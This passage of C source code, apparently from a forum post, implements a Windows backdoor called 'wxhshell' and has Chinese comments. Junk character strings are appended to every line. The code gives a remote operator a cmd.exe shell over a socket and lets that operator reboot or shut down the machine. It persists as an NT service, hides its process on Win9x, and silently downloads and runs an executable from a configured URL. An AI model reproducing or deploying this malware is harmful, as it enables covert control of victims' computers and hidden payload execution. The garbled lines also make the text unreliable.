    break; W;g+R-  
  } 5<BV\'  
  // 安装 E4aCGg  
  case 'i': { f{5| }PL  
    if(Install()) AXv;r<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iGeT^!N  
    else W!0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bOIM0<(h  
    break; ,Yprk%JT  
    } Eno2<<  
  // 卸载 DoB3_=yJ+  
  case 'r': { MG5Sn*(C  
    if(Uninstall()) W]Tt8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XoQk'7"f  
    else QRh4f\fY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nMdN$E  
    break; ^5 =E`q".  
    } $JSC+o(q3#  
  // 显示 wxhshell 所在路径 QZa#i L  
  case 'p': { P 7.8tM2}  
    char svExeFile[MAX_PATH]; ~+iJpW  
    strcpy(svExeFile,"\n\r"); PEn^.v@  
      strcat(svExeFile,ExeFile); R^kv!x;h  
        send(wsh,svExeFile,strlen(svExeFile),0); *P\_:>bV(  
    break; {s'_zS z  
    }  p6l@O3  
  // 重启 TvG:T{jwy  
  case 'b': { gsm^{jB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )MW}!U9G  
    if(Boot(REBOOT)) }' 0Xz9/ l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Q 9)Q  
    else { A*U'SCg(G  
    closesocket(wsh); B5r_+?=2e  
    ExitThread(0); bY U+-|54  
    } H^1 a3L]  
    break; f4y;K>u7p  
    } ot<o&  
  // 关机 9Kx:^~}20o  
  case 'd': { >N1]h'q>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~dr1Qi#j?  
    if(Boot(SHUTDOWN)) GfPz^F=ie.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N4DDH^h  
    else { lR2;g:&H  
    closesocket(wsh); W3/Stt$D  
    ExitThread(0); U5$DJ5>8  
    } sP8&p*TJF  
    break; yrNc[kS/  
    } f\r4[gU@  
  // 获取shell Zt0%E <C{  
  case 's': { :;Rt#!  
    CmdShell(wsh); FY}*Z=D%  
    closesocket(wsh); yB{o_1tc  
    ExitThread(0); tskODM0Zf  
    break; &b")`p&K  
  } @,`=~_J  
  // 退出 {u6fa>R&$  
  case 'x': { ;/3/R/^g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gO myFHv.  
    CloseIt(wsh); gH55c aF<  
    break; TZyQOjUu  
    } 7kpW 1tjY  
  // 离开 FS+^r\)  
  case 'q': { SWd[iD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @M?EgVmW  
    closesocket(wsh); u0hbM9U>  
    WSACleanup(); z n8ig/C  
    exit(1); NG!Q< !Y  
    break; )&!@O$RS8(  
        } E!l1a5qB  
  } 5GL+j%7  
  } G-?9;w'@  
!:[n3.vm   
  // 提示信息 NRF%Qd8I/2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wggHUr(g,  
} FtDA k?  
  } }v ,P3  
.(]1PKW  
  return; 0$ac1;7  
} oxXW`C<  
0BE^qe  
// shell模块句柄 Z9~Wlt'?  
int CmdShell(SOCKET sock) [F{a-i-  
{ z9O/MHT[w  
STARTUPINFO si; )K3 vzX  
ZeroMemory(&si,sizeof(si)); tg3JU\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O t<%gj;^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o`! :Q!+  
PROCESS_INFORMATION ProcessInfo; Fe< t@W  
char cmdline[]="cmd"; JlGD.!`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7]zZh a4X  
  return 0; 5mVu]T`  
} !sQ8,l0h  
EZRZ)h  
// 自身启动模式 "FvlZRfXj  
int StartFromService(void) BF|FW  
{ OBQ!0NM_b  
typedef struct {;M/J  
{ iPpJ`i#@+  
  DWORD ExitStatus; _cN)q  
  DWORD PebBaseAddress; (kOv  
  DWORD AffinityMask; yS3s5C{C  
  DWORD BasePriority; v 8a  
  ULONG UniqueProcessId; y'/9KrV T  
  ULONG InheritedFromUniqueProcessId; CoXL;\  
}   PROCESS_BASIC_INFORMATION; L%Q *\d  
08jQq#  
PROCNTQSIP NtQueryInformationProcess; 1A.\Ao  
B4O a7$M/U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o?+e_n=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &\[J  
.]c:Zt}P  
  HANDLE             hProcess; Utp\}0GZY  
  PROCESS_BASIC_INFORMATION pbi; YKd?)$J  
P32'`!/:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y @&nW  
  if(NULL == hInst ) return 0; jhM|gV&  
PQ]N>'v-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %'O(Y{$Y.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x:lf=D lA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :''0z  
K L~sEli  
  if (!NtQueryInformationProcess) return 0; P~Owvs/=  
kcUt!PL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Te#[+B?  
  if(!hProcess) return 0; yo6IY  
7}.(EZ0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YWFHiB7x  
f+AIxSw  
  CloseHandle(hProcess); 2GS2,  
0M-AIQ5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [~S0b  
if(hProcess==NULL) return 0; _lqAxWH  
<sOB j'  
HMODULE hMod; <P- r)=^  
char procName[255]; K\Q 1/})  
unsigned long cbNeeded; j,jUg}b  
f` J"A:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a9-;8`fCR  
,CF~UX% bU  
  CloseHandle(hProcess); ^KR(p!%  
p?nVPTh  
if(strstr(procName,"services")) return 1; // 以服务启动 u\?u}t v  
75i)$}_1B  
  return 0; // 注册表启动 wX;NU4)n  
} TA7w:<  
A79SAheX#  
// 主模块 6V/mR~F1r  
int StartWxhshell(LPSTR lpCmdLine) 6 dMpd4"\  
{ ep|u_|sB/r  
  SOCKET wsl; 5]JXXdt  
BOOL val=TRUE; DLZ63'  
  int port=0; 6}2Lt[>O  
  struct sockaddr_in door; $=R\3:j  
VE m[F/'  
  if(wscfg.ws_autoins) Install(); 9x< 8(]\  
 ^k=[P  
port=atoi(lpCmdLine); n\U6oJN  
']x]X ,  
if(port<=0) port=wscfg.ws_port; PnvLXE}F  
JJXf%o0yq  
  WSADATA data; <h[^&CY{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,0xN#&?Ohh  
uRg^:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nr;/:[F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0nAS4Az  
  door.sin_family = AF_INET; `mVH94{+I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [$X(i|6  
  door.sin_port = htons(port); /qG?(3  
4esf&-gG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &(0);I@fc  
closesocket(wsl); wB{-]\H`\  
return 1; nor`w,2VF  
} **"sru;@=  
$2 0*&4y^  
  if(listen(wsl,2) == INVALID_SOCKET) { Emo]I[<&q  
closesocket(wsl); UPsh Y  
return 1; :T2K\@  
} \)hmg  
  Wxhshell(wsl); e2v,#3Q\  
  WSACleanup(); 2J$Uz,@  
gnt[l0m  
return 0; 7 m%|TwJN  
nS#;<p$\  
} X8<ygci+.5  
TkykI  
// 以NT服务方式启动 URwFNOM2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Im =E?t  
{ &Jz%L^  
DWORD   status = 0; Q_S fFsY  
  DWORD   specificError = 0xfffffff; 3? "GH1e  
oc.x1<Nd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (RF6K6~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;(A'XA4 6N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eZHi6v)i  
  serviceStatus.dwWin32ExitCode     = 0; <JlKtR&nSo  
  serviceStatus.dwServiceSpecificExitCode = 0; fO+;%B  
  serviceStatus.dwCheckPoint       = 0; va)\uXW.N  
  serviceStatus.dwWaitHint       = 0; -z@}:N-uR  
Cv3H%g+as  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SU^/qF%8  
  if (hServiceStatusHandle==0) return; &E~7ty'  
m-K6y7t  
status = GetLastError(); _IGQ<U<z  
  if (status!=NO_ERROR) azSS:=A  
{ uG<+IT|x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g.'4uqU  
    serviceStatus.dwCheckPoint       = 0; #~Q0s)Ze  
    serviceStatus.dwWaitHint       = 0; ~![R\gps  
    serviceStatus.dwWin32ExitCode     = status; f;*\y!|lg~  
    serviceStatus.dwServiceSpecificExitCode = specificError; /<5/gV 1Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tfsG P]9$  
    return; zR:S.e<  
  } 3j2}n o8O  
H$ v4N8D8I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SU1, +7"  
  serviceStatus.dwCheckPoint       = 0; &Jj ?C  
  serviceStatus.dwWaitHint       = 0; &p*N8S8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cB TMuDT_  
} p 7sYgz  
r\yj$Gu>(  
// 处理NT服务事件,比如:启动、停止 )pJzw-m"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?tOzhrv  
{ ;2$^=:8  
switch(fdwControl) ky*-_  
{ F4@h} T5)  
case SERVICE_CONTROL_STOP: ][9M_.  
  serviceStatus.dwWin32ExitCode = 0; nt4>9;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +I U]=qS  
  serviceStatus.dwCheckPoint   = 0; $`i&\O2*  
  serviceStatus.dwWaitHint     = 0; h0!j;fn  
  { N$. ''D?7D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Vhm$y%Td  
  } joa$Y6  
  return; 2'++G[z  
case SERVICE_CONTROL_PAUSE: -y~JNDS1]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }[1I_)  
  break; j1g^Q$B>m  
case SERVICE_CONTROL_CONTINUE: -7lJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dJ$}]   
  break; lA{Sr0f TP  
case SERVICE_CONTROL_INTERROGATE: ~-,<`VY  
  break; - Q,lUP  
}; 5dhRuc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F3?v&  
} r"xo9&|  
R|_?yV[  
// 标准应用程序主函数 Qv8Z64#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {8E hC/=  
{ t &*$@0A  
4bmpMF-  
// 获取操作系统版本 =U?"#   
OsIsNt=GetOsVer(); K,J:i^2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E*[X\70  
B1Xn <Wv  
  // 从命令行安装 C! :\H<gI  
  if(strpbrk(lpCmdLine,"iI")) Install(); >2_J(vm>  
TkK- r(=  
  // 下载执行文件 KktQA*G  
if(wscfg.ws_downexe) { H4)){\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sb;81?|  
  WinExec(wscfg.ws_filenam,SW_HIDE); DBOz<|  
} .@R{T3 =Q  
$g*|h G/{  
if(!OsIsNt) { 2;A].5>l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,]>Eg6B,u  
HideProc(); nF05p2Mh  
StartWxhshell(lpCmdLine); C8i}~x<  
} s`&8tP  
else Y6V56pOS  
  if(StartFromService()) 2@=JIMtc  
  // 以服务方式启动 a(bgPkPP  
  StartServiceCtrlDispatcher(DispatchTable); "=HCP,  
else bA1uh]oB  
  // 普通方式启动 XjWoUnz  
  StartWxhshell(lpCmdLine); WPLAh_fe  
`_<K#AGAi  
return 0; V\Rbnvq  
}
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只看该作者 1 发表于: 2006-10-10
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